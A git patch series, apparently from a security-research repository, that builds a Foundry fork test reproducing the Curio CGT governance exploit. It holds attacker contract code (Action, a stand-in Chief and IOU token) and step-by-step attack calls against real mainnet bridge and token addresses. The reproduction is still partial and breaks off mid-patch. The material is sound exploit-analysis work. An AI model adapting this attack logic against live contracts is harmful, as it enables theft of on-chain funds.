From e4bdbfa01b2cf2442543b59dd8d0a39956c82735 Mon Sep 17 00:00:00 2001 From: nine-december <108370058+nine-december@users.noreply.github.com> Date: Fri, 24 May 2024 09:22:51 -0300 Subject: [PATCH 01/19] disabled: tornado cash destroyAccount(), now using Foundry's --- .../TornadoCash_Governance.sol | 20 ++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/test/Business_Logic/TornadoCash_Governance/TornadoCash_Governance.sol b/test/Business_Logic/TornadoCash_Governance/TornadoCash_Governance.sol index cff5c522..e672c21d 100644 --- a/test/Business_Logic/TornadoCash_Governance/TornadoCash_Governance.sol +++ b/test/Business_Logic/TornadoCash_Governance/TornadoCash_Governance.sol @@ -247,13 +247,15 @@ contract Exploit_TornadoCashGovernance is TestHarness, TokenBalanceTracker { // destroying means: balance will be zero, code will be empty, nonce will be zero // similar to selfdestruct but not identical: selfdestruct destroys code and nonce // only after tx ends, this will run inmediatly - function destroyAccount(address who, address beneficiary) internal virtual { - uint256 currBalance = who.balance; - vm.etch(who, abi.encode()); - vm.deal(who, 0); - vm.resetNonce(who); - - uint256 beneficiaryBalance = beneficiary.balance; - vm.deal(beneficiary, currBalance + beneficiaryBalance); - } + + // This function was added to Foundry, so instead of overriding we will comment it + // function destroyAccount(address who, address beneficiary) internal virtual { + // uint256 currBalance = who.balance; + // vm.etch(who, abi.encode()); + // vm.deal(who, 0); + // vm.resetNonce(who); + + // uint256 beneficiaryBalance = beneficiary.balance; + // vm.deal(beneficiary, currBalance + beneficiaryBalance); + // } } From a271f6dd1ecd5c5cda81732c9f6e760ec5222c19 Mon Sep 17 00:00:00 2001 From: nine-december <108370058+nine-december@users.noreply.github.com> Date: Fri, 24 May 2024 09:23:14 -0300 Subject: [PATCH 02/19] update: solmate and forge-std --- lib/forge-std | 2 +- lib/solmate | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/forge-std b/lib/forge-std index cd7d533f..e8a047e3 160000 --- a/lib/forge-std +++ b/lib/forge-std @@ -1 +1 @@ -Subproject commit cd7d533f9a0ee0ec02ad81e0a8f262bc4203c653 +Subproject commit e8a047e3f40f13fa37af6fe14e6e06283d9a060e diff --git a/lib/solmate b/lib/solmate index 1681dc50..2001af43 160000 --- a/lib/solmate +++ b/lib/solmate @@ -1 +1 @@ -Subproject commit 1681dc505f4897ef636f0435d01b1aa027fdafaf +Subproject commit 2001af43aedb46fdc2335d2a7714fb2dae7cfcd1 From 316ddc2408079b5bfc841da2a11ca5bc8c3d6c9d Mon Sep 17 00:00:00 2001 From: nine-december <108370058+nine-december@users.noreply.github.com> Date: Fri, 24 May 2024 09:23:51 -0300 Subject: [PATCH 03/19] add: Curio attack project's structure --- test/Business_Logic/Curio/Curio.attack.sol | 34 ++++++++++++++++++++++ 1 file changed, 34 insertions(+) create mode 100644 test/Business_Logic/Curio/Curio.attack.sol diff --git a/test/Business_Logic/Curio/Curio.attack.sol b/test/Business_Logic/Curio/Curio.attack.sol new file mode 100644 index 00000000..5709aa9b --- /dev/null +++ b/test/Business_Logic/Curio/Curio.attack.sol @@ -0,0 +1,34 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.17; + +import "forge-std/Test.sol"; +import {TestHarness} from "../../TestHarness.sol"; +import {TokenBalanceTracker} from "../../modules/TokenBalanceTracker.sol"; +import {IERC20} from "../../interfaces/IERC20.sol"; + +contract Exploit_Curio is TestHarness, TokenBalanceTracker { + // Instances of tokens involved + + // Instances of relevant contracts + + function setUp() external { + // Create a fork right before the attack started + + // Setup attacker account (this contract) + + // Initialize labels and token tracker + _labelAccounts(); + _tokenTrackerSetup(); + } + + function _labelAccounts() internal { + cheat.label(address(this), "Attacker"); + } + + function _tokenTrackerSetup() internal { + // Add relevant tokens to tracker + + // Initialize user's state + updateBalanceTracker(address(this)); + } +} From b33f3b32b95376376394f2e8c0bda55355e68bcb Mon Sep 17 00:00:00 2001 From: nine-december <108370058+nine-december@users.noreply.github.com> Date: Fri, 24 May 2024 12:37:18 -0300 Subject: [PATCH 04/19] fix: pragma compatibility range --- test/TestHarness.sol | 2 +- test/interfaces/00_CheatCodes.interface.sol | 62 +++----- test/modules/TokenBalanceTracker.sol | 148 ++++++++++++-------- 3 files changed, 113 insertions(+), 99 deletions(-) diff --git a/test/TestHarness.sol b/test/TestHarness.sol index 7ffefc4f..c2a40bf1 100644 --- a/test/TestHarness.sol +++ b/test/TestHarness.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.17; +pragma solidity >=0.8.0; import "forge-std/Test.sol"; import "forge-std/Vm.sol"; diff --git a/test/interfaces/00_CheatCodes.interface.sol b/test/interfaces/00_CheatCodes.interface.sol index a5cab684..a4db907e 100644 --- a/test/interfaces/00_CheatCodes.interface.sol +++ b/test/interfaces/00_CheatCodes.interface.sol @@ -1,6 +1,6 @@ // SPDX-License-Identifier: UNLICENSED -pragma solidity 0.8.17; +pragma solidity >=0.8.0; interface CheatCodes { // This allows us to getRecordedLogs() @@ -31,9 +31,7 @@ interface CheatCodes { function store(address account, bytes32 slot, bytes32 value) external; // Signs data - function sign(uint256 privateKey, bytes32 digest) - external - returns (uint8 v, bytes32 r, bytes32 s); + function sign(uint256 privateKey, bytes32 digest) external returns (uint8 v, bytes32 r, bytes32 s); // Computes address for a given private key function addr(uint256 privateKey) external returns (address); @@ -68,35 +66,21 @@ interface CheatCodes { function envBytes(string calldata) external returns (bytes memory); // Read environment variables as arrays, (name, delim) => (value[]) - function envBool(string calldata, string calldata) - external - returns (bool[] memory); - function envUint(string calldata, string calldata) - external - returns (uint256[] memory); - function envInt(string calldata, string calldata) - external - returns (int256[] memory); - function envAddress(string calldata, string calldata) - external - returns (address[] memory); - function envBytes32(string calldata, string calldata) - external - returns (bytes32[] memory); - function envString(string calldata, string calldata) - external - returns (string[] memory); - function envBytes(string calldata, string calldata) - external - returns (bytes[] memory); + function envBool(string calldata, string calldata) external returns (bool[] memory); + function envUint(string calldata, string calldata) external returns (uint256[] memory); + function envInt(string calldata, string calldata) external returns (int256[] memory); + function envAddress(string calldata, string calldata) external returns (address[] memory); + function envBytes32(string calldata, string calldata) external returns (bytes32[] memory); + function envString(string calldata, string calldata) external returns (string[] memory); + function envBytes(string calldata, string calldata) external returns (bytes[] memory); // Convert Solidity types to strings - function toString(address) external returns(string memory); - function toString(bytes calldata) external returns(string memory); - function toString(bytes32) external returns(string memory); - function toString(bool) external returns(string memory); - function toString(uint256) external returns(string memory); - function toString(int256) external returns(string memory); + function toString(address) external returns (string memory); + function toString(bytes calldata) external returns (string memory); + function toString(bytes32) external returns (string memory); + function toString(bool) external returns (string memory); + function toString(uint256) external returns (string memory); + function toString(int256) external returns (string memory); // Sets the *next* call's msg.sender to be the input address function prank(address) external; @@ -132,9 +116,7 @@ interface CheatCodes { // Gets all accessed reads and write slot from a recording session, // for a given address - function accesses(address) - external - returns (bytes32[] memory reads, bytes32[] memory writes); + function accesses(address) external returns (bytes32[] memory reads, bytes32[] memory writes); // Record all the transaction logs function recordLogs() external; @@ -206,7 +188,8 @@ interface CheatCodes { function projectRoot() external returns (string memory); // Reads next line of file to string, (path) => (line) function readLine(string calldata) external returns (string memory); - // Writes data to file, creating a file if it does not exist, and entirely replacing its contents if it does. + // Writes data to file, creating a file if it does not exist, and entirely replacing its contents if it + // does. // (path, data) => () function writeFile(string calldata, string calldata) external; // Writes line to file, creating a file if it does not exist. @@ -215,13 +198,14 @@ interface CheatCodes { // Closes file for reading, resetting the offset and allowing to read it from beginning with readLine. // (path) => () function closeFile(string calldata) external; - // Removes file. This cheatcode will revert in the following situations, but is not limited to just these cases: + // Removes file. This cheatcode will revert in the following situations, but is not limited to just these + // cases: // - Path points to a directory. // - The file doesn't exist. // - The user lacks permissions to remove the file. // (path) => () function removeFile(string calldata) external; - + // Return the value(s) that correspond to 'key' function parseJson(string memory json, string memory key) external returns (bytes memory); // Return the entire json file @@ -245,9 +229,7 @@ interface CheatCodes { // Creates _and_ also selects a new fork with the given endpoint and block, // and returns the identifier of the fork - function createSelectFork(string calldata, uint256) - external - returns (uint256); + function createSelectFork(string calldata, uint256) external returns (uint256); // Creates _and_ also selects a new fork with the given endpoint and the // latest block and returns the identifier of the fork function createSelectFork(string calldata) external returns (uint256); diff --git a/test/modules/TokenBalanceTracker.sol b/test/modules/TokenBalanceTracker.sol index c935dd3a..efaa968e 100644 --- a/test/modules/TokenBalanceTracker.sol +++ b/test/modules/TokenBalanceTracker.sol @@ -1,9 +1,11 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.17; +pragma solidity >=0.8.0; + import "forge-std/Test.sol"; + interface IERC20Local { - function name() external view returns(string memory); - function decimals() external view returns(uint8); + function name() external view returns (string memory); + function decimals() external view returns (uint8); function balanceOf(address account) external view returns (uint256); } @@ -11,34 +13,34 @@ library Strings { bytes16 private constant _SYMBOLS = "0123456789abcdef"; uint8 private constant _ADDRESS_LENGTH = 20; - function log10(uint256 value) internal pure returns (uint256) { + function log10(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { - if (value >= 10**64) { - value /= 10**64; + if (value >= 10 ** 64) { + value /= 10 ** 64; result += 64; } - if (value >= 10**32) { - value /= 10**32; + if (value >= 10 ** 32) { + value /= 10 ** 32; result += 32; } - if (value >= 10**16) { - value /= 10**16; + if (value >= 10 ** 16) { + value /= 10 ** 16; result += 16; } - if (value >= 10**8) { - value /= 10**8; + if (value >= 10 ** 8) { + value /= 10 ** 8; result += 8; } - if (value >= 10**4) { - value /= 10**4; + if (value >= 10 ** 4) { + value /= 10 ** 4; result += 4; } - if (value >= 10**2) { - value /= 10**2; + if (value >= 10 ** 2) { + value /= 10 ** 2; result += 2; } - if (value >= 10**1) { + if (value >= 10 ** 1) { result += 1; } } @@ -74,7 +76,8 @@ library Strings { contract TokenBalanceTracker { using Strings for uint256; - mapping(address => mapping (address => uint256)) public balanceTracker; // tracks: user => (token => amount). + mapping(address => mapping(address => uint256)) public balanceTracker; // tracks: user => (token => + // amount). address[] public trackedTokens; // Will look something like this. For simplicity, WETH could be the last token. @@ -84,7 +87,7 @@ contract TokenBalanceTracker { // 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599, // WBTC // 0x86ed939B500E121C0C5f493F399084Db596dAd20, // SPC // 0x1b40183EFB4Dd766f11bDa7A7c3AD8982e998421, // VSP - // 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 // WETH + // 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 // WETH // ]; struct BalanceDeltaReturn { @@ -94,26 +97,26 @@ contract TokenBalanceTracker { function addTokensToTracker(address[] memory _tokens) public { uint256 tokensLength = _tokens.length; - for(uint256 i = 0; i < tokensLength; i++){ + for (uint256 i = 0; i < tokensLength; i++) { addTokenToTracker(_tokens[i]); } } function addTokenToTracker(address _token) public { uint256 lenTrackedTokens = trackedTokens.length; - if(lenTrackedTokens == 0){ + if (lenTrackedTokens == 0) { trackedTokens.push(_token); return; } bool alreadyTracked; - for(uint256 i = 0; i < lenTrackedTokens; i++ ){ - if(_token == trackedTokens[i]){ + for (uint256 i = 0; i < lenTrackedTokens; i++) { + if (_token == trackedTokens[i]) { alreadyTracked = true; } } - - if(!alreadyTracked){ + + if (!alreadyTracked) { trackedTokens.push(_token); } } @@ -124,80 +127,109 @@ contract TokenBalanceTracker { } function logBalances(address _from) public { - (BalanceDeltaReturn memory nativeTokenDelta, BalanceDeltaReturn[] memory tokensDelta) = calculateBalanceDelta(_from); + (BalanceDeltaReturn memory nativeTokenDelta, BalanceDeltaReturn[] memory tokensDelta) = + calculateBalanceDelta(_from); // NATIVE TOKENS HANDLING (12-9) - if(nativeTokenDelta.value == 0) { - console.log('Native Tokens: %s', toStringWithDecimals(_from.balance, 18)); + if (nativeTokenDelta.value == 0) { + console.log("Native Tokens: %s", toStringWithDecimals(_from.balance, 18)); } else { - console.log('Native Tokens: %s (%s%s)', toStringWithDecimals(_from.balance, 18), nativeTokenDelta.sign, toStringWithDecimals(nativeTokenDelta.value, 18)); + console.log( + "Native Tokens: %s (%s%s)", + toStringWithDecimals(_from.balance, 18), + nativeTokenDelta.sign, + toStringWithDecimals(nativeTokenDelta.value, 18) + ); } // Other tokens uint256 tokensLength = trackedTokens.length; - if(tokensLength > 0){ - for(uint i = 0; i < tokensLength; i++){ + if (tokensLength > 0) { + for (uint256 i = 0; i < tokensLength; i++) { IERC20Local curToken = IERC20Local(trackedTokens[i]); - if(tokensDelta[i].value == 0) { - console.log('%s: %s', curToken.name(), toStringWithDecimals(curToken.balanceOf(_from), curToken.decimals())); + if (tokensDelta[i].value == 0) { + console.log( + "%s: %s", + curToken.name(), + toStringWithDecimals(curToken.balanceOf(_from), curToken.decimals()) + ); } else { - string memory deltaAndSign = string.concat(tokensDelta[i].sign, toStringWithDecimals(tokensDelta[i].value, curToken.decimals())); - console.log('%s: %s (%s)', curToken.name(), toStringWithDecimals(curToken.balanceOf(_from), curToken.decimals()), deltaAndSign); + string memory deltaAndSign = string.concat( + tokensDelta[i].sign, toStringWithDecimals(tokensDelta[i].value, curToken.decimals()) + ); + console.log( + "%s: %s (%s)", + curToken.name(), + toStringWithDecimals(curToken.balanceOf(_from), curToken.decimals()), + deltaAndSign + ); } } } updateBalanceTracker(_from); - console.log('\n'); + console.log("\n"); } - function toStringWithDecimals(uint256 _number, uint8 decimals) internal pure returns(string memory){ - uint256 integerToPrint = _number / (10**decimals); - uint256 decimalsToPrint = _number - (_number / (10**decimals)) * (10**decimals); - return string.concat(integerToPrint.toString(), '.', decimalsToPrint.toString()); + function toStringWithDecimals(uint256 _number, uint8 decimals) internal pure returns (string memory) { + uint256 integerToPrint = _number / (10 ** decimals); + uint256 decimalsToPrint = _number - (_number / (10 ** decimals)) * (10 ** decimals); + return string.concat(integerToPrint.toString(), ".", decimalsToPrint.toString()); } function updateBalanceTracker(address _user) internal { balanceTracker[_user][address(0)] = _user.balance; uint256 tokensLength = trackedTokens.length; - if(tokensLength == 0) return; + if (tokensLength == 0) return; - for(uint i = 0; i < tokensLength; i++){ + for (uint256 i = 0; i < tokensLength; i++) { IERC20Local curToken = IERC20Local(trackedTokens[i]); balanceTracker[_user][trackedTokens[i]] = curToken.balanceOf(_user); - } + } } - function getBalanceTrackers(address _user) public view returns(uint256 nativeBalance, uint256[] memory tokenBalances){ + function getBalanceTrackers(address _user) + public + view + returns (uint256 nativeBalance, uint256[] memory tokenBalances) + { nativeBalance = balanceTracker[_user][address(0)]; - + uint256 tokensLength = trackedTokens.length; - if(tokensLength > 0) { + if (tokensLength > 0) { uint256[] memory memBalances = new uint256[](tokensLength); - for(uint i = 0; i < tokensLength; i++){ + for (uint256 i = 0; i < tokensLength; i++) { memBalances[i] = balanceTracker[_user][trackedTokens[i]]; - } - tokenBalances = memBalances; + } + tokenBalances = memBalances; } } - function calculateBalanceDelta(address _user) internal view returns(BalanceDeltaReturn memory nativeDelta, BalanceDeltaReturn[] memory tokenDeltas){ + function calculateBalanceDelta(address _user) + internal + view + returns (BalanceDeltaReturn memory nativeDelta, BalanceDeltaReturn[] memory tokenDeltas) + { (uint256 prevNativeBalance, uint256[] memory prevTokenBalance) = getBalanceTrackers(_user); - nativeDelta.value = _user.balance > prevNativeBalance ? (_user.balance - prevNativeBalance) : (prevNativeBalance - _user.balance); - nativeDelta.sign = _user.balance > prevNativeBalance ? ('+') : ('-'); + nativeDelta.value = _user.balance > prevNativeBalance + ? (_user.balance - prevNativeBalance) + : (prevNativeBalance - _user.balance); + nativeDelta.sign = _user.balance > prevNativeBalance ? ("+") : ("-"); uint256 tokensLength = trackedTokens.length; - if(tokensLength > 0) { + if (tokensLength > 0) { BalanceDeltaReturn[] memory memDeltas = new BalanceDeltaReturn[](tokensLength); - for(uint i = 0; i < tokensLength; i++){ + for (uint256 i = 0; i < tokensLength; i++) { uint256 currentTokenBalance = IERC20Local(trackedTokens[i]).balanceOf(_user); - memDeltas[i].value = currentTokenBalance > prevTokenBalance[i] ? (currentTokenBalance - prevTokenBalance[i]) : (prevTokenBalance[i] - currentTokenBalance); - memDeltas[i].sign = currentTokenBalance > prevTokenBalance[i] ? ('+') : ('-'); - } + memDeltas[i].value = currentTokenBalance > prevTokenBalance[i] + ? (currentTokenBalance - prevTokenBalance[i]) + : (prevTokenBalance[i] - currentTokenBalance); + memDeltas[i].sign = currentTokenBalance > prevTokenBalance[i] ? ("+") : ("-"); + } tokenDeltas = memDeltas; } } -} \ No newline at end of file +} From c01dbdb93c6d6bbff3ce8daaf87dafb028f96e1f Mon Sep 17 00:00:00 2001 From: nine-december <108370058+nine-december@users.noreply.github.com> Date: Fri, 24 May 2024 12:37:55 -0300 Subject: [PATCH 05/19] add: Attacker contract instance, attack up to step 3 --- .../Business_Logic/Curio/AttackerContract.sol | 3 ++ test/Business_Logic/Curio/Curio.attack.sol | 47 +++++++++++++++++-- test/Business_Logic/Curio/Interfaces.sol | 13 +++++ 3 files changed, 59 insertions(+), 4 deletions(-) create mode 100644 test/Business_Logic/Curio/AttackerContract.sol create mode 100644 test/Business_Logic/Curio/Interfaces.sol diff --git a/test/Business_Logic/Curio/AttackerContract.sol b/test/Business_Logic/Curio/AttackerContract.sol new file mode 100644 index 00000000..2d1bad6b --- /dev/null +++ b/test/Business_Logic/Curio/AttackerContract.sol @@ -0,0 +1,3 @@ +pragma solidity ^0.8.24; + +contract Action {} diff --git a/test/Business_Logic/Curio/Curio.attack.sol b/test/Business_Logic/Curio/Curio.attack.sol index 5709aa9b..7e05917a 100644 --- a/test/Business_Logic/Curio/Curio.attack.sol +++ b/test/Business_Logic/Curio/Curio.attack.sol @@ -1,28 +1,67 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.17; +pragma solidity ^0.8.24; import "forge-std/Test.sol"; import {TestHarness} from "../../TestHarness.sol"; import {TokenBalanceTracker} from "../../modules/TokenBalanceTracker.sol"; -import {IERC20} from "../../interfaces/IERC20.sol"; +import "./AttackerContract.sol"; +import "./Interfaces.sol"; contract Exploit_Curio is TestHarness, TokenBalanceTracker { // Instances of tokens involved + IDSToken cgtToken = IDSToken(0xF56b164efd3CFc02BA739b719B6526A6FA1cA32a); // Instances of relevant contracts + Action attackerContract; + IForeignOmnibridge foreignOmniBridge = IForeignOmnibridge(0x69c707d975e8d883920003CC357E556a4732CD03); + ICurioBridge curioBridge = ICurioBridge(0x9b8A09b3f538666479a66888441E15DDE8d13412); + + address ATTACKER = makeAddr("ATTACKER"); function setUp() external { // Create a fork right before the attack started + cheat.createSelectFork("mainnet", 19_491_672); - // Setup attacker account (this contract) + // Setup attackers account + deal(address(cgtToken), ATTACKER, 100 ether); // Initialize labels and token tracker _labelAccounts(); _tokenTrackerSetup(); } + function test_attack() public { + console.log("\n==== STEP 1: Send tokens to Omnibridge ===="); + // Approve tx: 0x0b4a076b4fe1d873b75e7fadc3d99e0240a61fa23f5327782416588f09c32295 + // Relay tx: 0xf653d1d9c18bf0be78c5b7a2c58c9286bf02fd2b4c8d2106180929526b7fc151 + cheat.startPrank(ATTACKER); + cgtToken.approve(address(foreignOmniBridge), 10 ether); + foreignOmniBridge.relayTokens(address(cgtToken), 10 ether); + console.log("Relay successful"); + cheat.stopPrank(); + + console.log("\n==== STEP 2: Lock tokens to Curio Bridge ===="); + // Approve tx: 0x08e5c70d3407acec5cb85ff064e5fe029eca191d16966d1aaac6613702a0c6ce + // Lock tx: 0xf653d1d9c18bf0be78c5b7a2c58c9286bf02fd2b4c8d2106180929526b7fc151 + cheat.startPrank(ATTACKER); + cgtToken.approve(address(curioBridge), 10 ether); + curioBridge.lock(bytes32(0), address(cgtToken), 10 ether); + // we pass an arb to address on Curio Parachain + console.log("Lock successful"); + cheat.stopPrank(); + + console.log("\n==== STEP 3: Deploy Attacker's contract (called Action) ===="); + cheat.prank(ATTACKER); + attackerContract = new Action(); + require(address(attackerContract).code.length != 0, "Attacker's contract deployment failed"); + console.log("Attacker's contract deployement successful"); + } + function _labelAccounts() internal { - cheat.label(address(this), "Attacker"); + cheat.label(ATTACKER, "Attacker"); + + cheat.label(address(foreignOmniBridge), "ForeignOmniBridge"); + cheat.label(address(cgtToken), "CGT Token"); } function _tokenTrackerSetup() internal { diff --git a/test/Business_Logic/Curio/Interfaces.sol b/test/Business_Logic/Curio/Interfaces.sol new file mode 100644 index 00000000..4054ccd1 --- /dev/null +++ b/test/Business_Logic/Curio/Interfaces.sol @@ -0,0 +1,13 @@ +import {IERC20} from "../../interfaces/IERC20.sol"; + +interface IDSToken is IERC20 { + function pull(address src, uint256 wad) external; // makes a transferFrom +} + +interface IForeignOmnibridge { + function relayTokens(address token, uint256 _value) external; +} + +interface ICurioBridge { + function lock(bytes32 to, address token, uint256 amount) external; +} From 04c7402f8de5432d63644f5c6c6f0cf055a0dce1 Mon Sep 17 00:00:00 2001 From: nine-december <108370058+nine-december@users.noreply.github.com> Date: Fri, 24 May 2024 17:03:48 -0300 Subject: [PATCH 06/19] add: main attack structure --- .../Business_Logic/Curio/AttackerContract.sol | 70 ++++++++++++++++++- test/Business_Logic/Curio/Curio.attack.sol | 39 ++++++++++- test/Business_Logic/Curio/Interfaces.sol | 16 +++++ 3 files changed, 123 insertions(+), 2 deletions(-) diff --git a/test/Business_Logic/Curio/AttackerContract.sol b/test/Business_Logic/Curio/AttackerContract.sol index 2d1bad6b..5846d1ad 100644 --- a/test/Business_Logic/Curio/AttackerContract.sol +++ b/test/Business_Logic/Curio/AttackerContract.sol @@ -1,3 +1,71 @@ pragma solidity ^0.8.24; -contract Action {} +import "./Interfaces.sol"; + +// Contract used by the attacker to get outstanding CGT balance +// The contract is verified at https://etherscan.io/address/0x1e791527aea32cddbd7ceb7f04612db536816545#code +contract Action { + IDSChief chief; + + address public pans; // the attacker named the deployer after pans + + // The attacker knew the Chief address in advance, we pass this as a constructor argument + constructor(address _chief) { + pans = msg.sender; + chief = IDSChief(_chief); + } + + modifier onlyPans() { + require(pans == msg.sender, "not pans"); + _; + } + + function cook(address _cgt, uint256 amount, uint256 wethMin, uint256 daiMin) external onlyPans { + IERC20 cgt = IERC20(_cgt); + cgt.transferFrom(msg.sender, address(this), amount); + cgt.approve(address(chief), amount); + + chief.lock(amount); + } +} + +// Chief contract introduced by Maker: +// https://docs.makerdao.com/smart-contract-modules/governance-module/chief-detailed-documentation +// Reference code: https://github.com/dapphub/ds-chief/blob/master/src/chief.sol +contract Chief is IDSChief { + IDSToken public GOV; // voting token that gets locked up + IDSToken public IOU; // non-voting representation of a token, for e.g. secondary voting mechanisms + address public hat; // the chieftain's hat + + uint256 public MAX_YAYS; + + event Etch(bytes32 indexed slate); + // event lock(uint256 amount); + + // IOU constructed outside this contract reduces deployment costs significantly + // lock/free/vote are quite sensitive to token invariants. Caution is advised. + constructor(address GOV_, address IOU_, uint256 MAX_YAYS_) public { + GOV = IDSToken(GOV_); + IOU = IDSToken(IOU_); + MAX_YAYS = MAX_YAYS_; + } + + function lock(uint256 wad) public { + GOV.pull(msg.sender, wad); + IOU.mint(msg.sender, wad); + // deposits[msg.sender] = add(deposits[msg.sender], wad); + // addWeight(wad, votes[msg.sender]); + } + + function vote(address[] memory yays) external returns (bytes32) {} + function lift(address whom) external {} + function free(uint256 wad) external {} +} + +contract IOUToken { + event Mint(address to, uint256 amount); + + function mint(address to, uint256 amount) external { + emit Mint(to, amount); + } +} diff --git a/test/Business_Logic/Curio/Curio.attack.sol b/test/Business_Logic/Curio/Curio.attack.sol index 7e05917a..6c5acedf 100644 --- a/test/Business_Logic/Curio/Curio.attack.sol +++ b/test/Business_Logic/Curio/Curio.attack.sol @@ -12,7 +12,12 @@ contract Exploit_Curio is TestHarness, TokenBalanceTracker { IDSToken cgtToken = IDSToken(0xF56b164efd3CFc02BA739b719B6526A6FA1cA32a); // Instances of relevant contracts + // Attacker contracts Action attackerContract; + Chief chief; + IOUToken IOU; + + // Peripheral contracts IForeignOmnibridge foreignOmniBridge = IForeignOmnibridge(0x69c707d975e8d883920003CC357E556a4732CD03); ICurioBridge curioBridge = ICurioBridge(0x9b8A09b3f538666479a66888441E15DDE8d13412); @@ -31,6 +36,11 @@ contract Exploit_Curio is TestHarness, TokenBalanceTracker { } function test_attack() public { + // TODO we should adjust/warp each's step timestamp or block + console.log("\n==== STEP 0: Deploy attack contracts used by Action ===="); + // These contracts were deployed almost 3 years before the attack + deployInitialContracts(); + console.log("\n==== STEP 1: Send tokens to Omnibridge ===="); // Approve tx: 0x0b4a076b4fe1d873b75e7fadc3d99e0240a61fa23f5327782416588f09c32295 // Relay tx: 0xf653d1d9c18bf0be78c5b7a2c58c9286bf02fd2b4c8d2106180929526b7fc151 @@ -51,10 +61,37 @@ contract Exploit_Curio is TestHarness, TokenBalanceTracker { cheat.stopPrank(); console.log("\n==== STEP 3: Deploy Attacker's contract (called Action) ===="); + // Deploy tx: 0x99cc992de6e42a0817713489aeeb21f2d5e5fdca1f833826be09a9f35e5654e3 cheat.prank(ATTACKER); - attackerContract = new Action(); + attackerContract = new Action(address(chief)); require(address(attackerContract).code.length != 0, "Attacker's contract deployment failed"); console.log("Attacker's contract deployement successful"); + + console.log("\n==== STEP 4: Call cook() on Action, start attack ===="); + cheat.startPrank(ATTACKER); + cgtToken.approve(address(attackerContract), 2 ether); // 0x6a4cb2aa03ebf35f25e9f34a1727f7e0ea34c5e59cebc85b9e9c0729c6b0ad59 + attackerContract.cook(address(cgtToken), 2 ether, 10 ether, 10 ether); + cheat.stopPrank(); + // the last two params were set to some arbitrary-like values but are unused in the call. + // Just for profit checks: + /* + require(weth.balanceOf(address(this)) >= wethMin, "not enought weth"); + require(dai.balanceOf(address(this)) >= daiMin, "not enought dai"); + */ + } + + function deployInitialContracts() internal { + // Chief deployment: 0x83661c0bb2d1288c523aba5aaa9f78d237eb6d068f5374ce221c38b0c088c598 + // IOU deployment: 0x8b8ef358b5407298bc7e77e77575993a3f559b4f343e26f1c5cf721e6922cf46 + cheat.prank(ATTACKER); + IOU = new IOUToken(); + require(address(IOU).code.length != 0, "IOU token deployment failed"); + console.log("IOU token contract deployement successful"); + + cheat.prank(ATTACKER); + chief = new Chief(address(cgtToken), address(IOU), type(uint256).max); + require(address(chief).code.length != 0, "Chief deployment failed"); + console.log("Chief contract deployement successful"); } function _labelAccounts() internal { diff --git a/test/Business_Logic/Curio/Interfaces.sol b/test/Business_Logic/Curio/Interfaces.sol index 4054ccd1..14eba9f9 100644 --- a/test/Business_Logic/Curio/Interfaces.sol +++ b/test/Business_Logic/Curio/Interfaces.sol @@ -2,6 +2,7 @@ import {IERC20} from "../../interfaces/IERC20.sol"; interface IDSToken is IERC20 { function pull(address src, uint256 wad) external; // makes a transferFrom + function mint(address to, uint256 amount) external; } interface IForeignOmnibridge { @@ -11,3 +12,18 @@ interface IForeignOmnibridge { interface ICurioBridge { function lock(bytes32 to, address token, uint256 amount) external; } + +// Interfaces used by the attacker on their contract +interface IDSChief { + function lock(uint256 wad) external; + function vote(address[] memory yays) external returns (bytes32); + function lift(address whom) external; + function free(uint256 wad) external; +} + +interface IDSPause { + function plot(address usr, bytes32 tag, bytes memory fax, uint256 eta) external; + function exec(address usr, bytes32 tag, bytes memory fax, uint256 eta) + external + returns (bytes memory out); +} From 7ec25aefb7ebebe8417ee2ce6e8e2ca5a1b302ed Mon Sep 17 00:00:00 2001 From: nine-december <108370058+nine-december@users.noreply.github.com> Date: Fri, 24 May 2024 17:05:40 -0300 Subject: [PATCH 07/19] add: next steps --- test/Business_Logic/Curio/Curio.attack.sol | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/test/Business_Logic/Curio/Curio.attack.sol b/test/Business_Logic/Curio/Curio.attack.sol index 6c5acedf..09606243 100644 --- a/test/Business_Logic/Curio/Curio.attack.sol +++ b/test/Business_Logic/Curio/Curio.attack.sol @@ -78,6 +78,13 @@ contract Exploit_Curio is TestHarness, TokenBalanceTracker { require(weth.balanceOf(address(this)) >= wethMin, "not enought weth"); require(dai.balanceOf(address(this)) >= daiMin, "not enought dai"); */ + + /* + // Next steps: + 1. Mint CGT tokens via executor's contract + 2. Evaluate if the other previous calls that only emit events (likely changing only some attacker's + contract storage) are necessary + */ } function deployInitialContracts() internal { From b2bb6d2e5c282409219a09c9a0c6562212f47a47 Mon Sep 17 00:00:00 2001 From: nine-december <108370058+nine-december@users.noreply.github.com> Date: Wed, 5 Jun 2024 14:14:27 -0300 Subject: [PATCH 08/19] pending: solve access control --- .../Business_Logic/Curio/AttackerContract.sol | 180 ++++++++++- test/Business_Logic/Curio/Curio.attack.sol | 31 +- test/Business_Logic/Curio/Interfaces.sol | 16 + test/Business_Logic/Curio/join.sol | 189 ++++++++++++ test/Business_Logic/Curio/vat.sol | 283 ++++++++++++++++++ 5 files changed, 691 insertions(+), 8 deletions(-) create mode 100644 test/Business_Logic/Curio/join.sol create mode 100644 test/Business_Logic/Curio/vat.sol diff --git a/test/Business_Logic/Curio/AttackerContract.sol b/test/Business_Logic/Curio/AttackerContract.sol index 5846d1ad..5b9b4641 100644 --- a/test/Business_Logic/Curio/AttackerContract.sol +++ b/test/Business_Logic/Curio/AttackerContract.sol @@ -1,18 +1,22 @@ pragma solidity ^0.8.24; import "./Interfaces.sol"; +import "forge-std/console.sol"; // Contract used by the attacker to get outstanding CGT balance // The contract is verified at https://etherscan.io/address/0x1e791527aea32cddbd7ceb7f04612db536816545#code contract Action { IDSChief chief; + DSPause public pause; + Spell spell; address public pans; // the attacker named the deployer after pans // The attacker knew the Chief address in advance, we pass this as a constructor argument - constructor(address _chief) { + constructor(address _chief, address _pause) { pans = msg.sender; chief = IDSChief(_chief); + pause = DSPause(_pause); } modifier 